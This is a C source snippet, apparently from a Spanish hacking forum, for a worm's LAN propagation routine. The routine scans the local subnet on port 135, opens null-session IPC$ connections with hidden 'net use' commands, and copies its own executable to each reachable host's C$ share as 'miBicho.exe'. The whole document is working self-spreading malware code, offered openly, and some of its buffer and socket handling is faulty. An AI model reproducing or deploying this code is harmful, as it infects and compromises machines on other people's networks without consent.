Código: Seleccionar todo
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función de propagación Usando NetBios
////////////////////////////////////////////////////////////////
void InfectLAN()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
//Obtenemos nuestra ruta
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
WSADATA WSD;
SOCKET hSocket;
struct hostent *lpHost=NULL;
struct in_addr addr;
struct sockaddr_in saddr;
WSAStartup(MAKEWORD(2,2),&WSD);
hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//Obtenemos nuestra ip local
LPSTR lpHostName=(LPSTR)GlobalAlloc(GPTR,256);
gethostname(lpHostName,256);
lpHost=gethostbyname(lpHostName);
addr.s_addr = *(u_long *)lpHost->h_addr_list[0];
LPSTR lpLocalIP=inet_ntoa(addr);
DWORD lenLocalIP=lstrlen(lpLocalIP);
//Obtenemos la puerta de enlace de la ip local, Ej: '192.168.1.'
for(DWORD i=0;lpLocalIP[lenLocalIP-i]!='.';i++)
{
lpLocalIP[lenLocalIP-i]=0;
}
//Vamos recorriendo todas las ip's posibles con la puerta de elnace obtenida '192.168.1.X'
//i=33-> Cambiar por 0 en caso de que se desee, la mayoría de routers tienen .33 como primera dirección
for(i=33;i<=255;i++)
{
LPSTR RemoteLocalIP=(LPSTR)GlobalAlloc(GPTR,16);
CHAR LastIpNumber[3];
wsprintf(LastIpNumber,"%d",i);;
lstrcat(RemoteLocalIP,lpLocalIP);
lstrcat(RemoteLocalIP,LastIpNumber);
lpHost=gethostbyname(RemoteLocalIP);
//Preparamos la estructura para conectar
saddr.sin_family=AF_INET;
saddr.sin_port=htons(135);
saddr.sin_addr = *((struct in_addr *)lpHost->h_addr);
RtlZeroMemory(&saddr.sin_zero,8);
//Comprobamos si se logra la conexión
if(connect(hSocket,(sockaddr*)&saddr,sizeof(sockaddr))!=-1)
{
//net use \\192.168.1.34\ipc$ "" /user:""
LPSTR Comando=(LPSTR)GlobalAlloc(GPTR,MAX_PATH*2);
lstrcat(Comando,"net use \\\\");
lstrcat(Comando,lpHost->h_name);
lstrcat(Comando,"\\ipc$ \"\" /user:\"\"");
WinExec(Comando,SW_HIDE);
RtlZeroMemory(&Comando[0],MAX_PATH*2);
//copy AppName "\\192.168.1.34\c$\miBicho.exe"
lstrcat(Comando,"copy \"");
lstrcat(Comando,AppName);
lstrcat(Comando,"\" \"\\\\");
lstrcat(Comando,lpHost->h_name);
lstrcat(Comando,"\\c$\\miBicho.exe");
WinExec(Comando,SW_HIDE);
GlobalFree(Comando);
}
GlobalFree(RemoteLocalIP);
GlobalFree(LastIpNumber);
}
}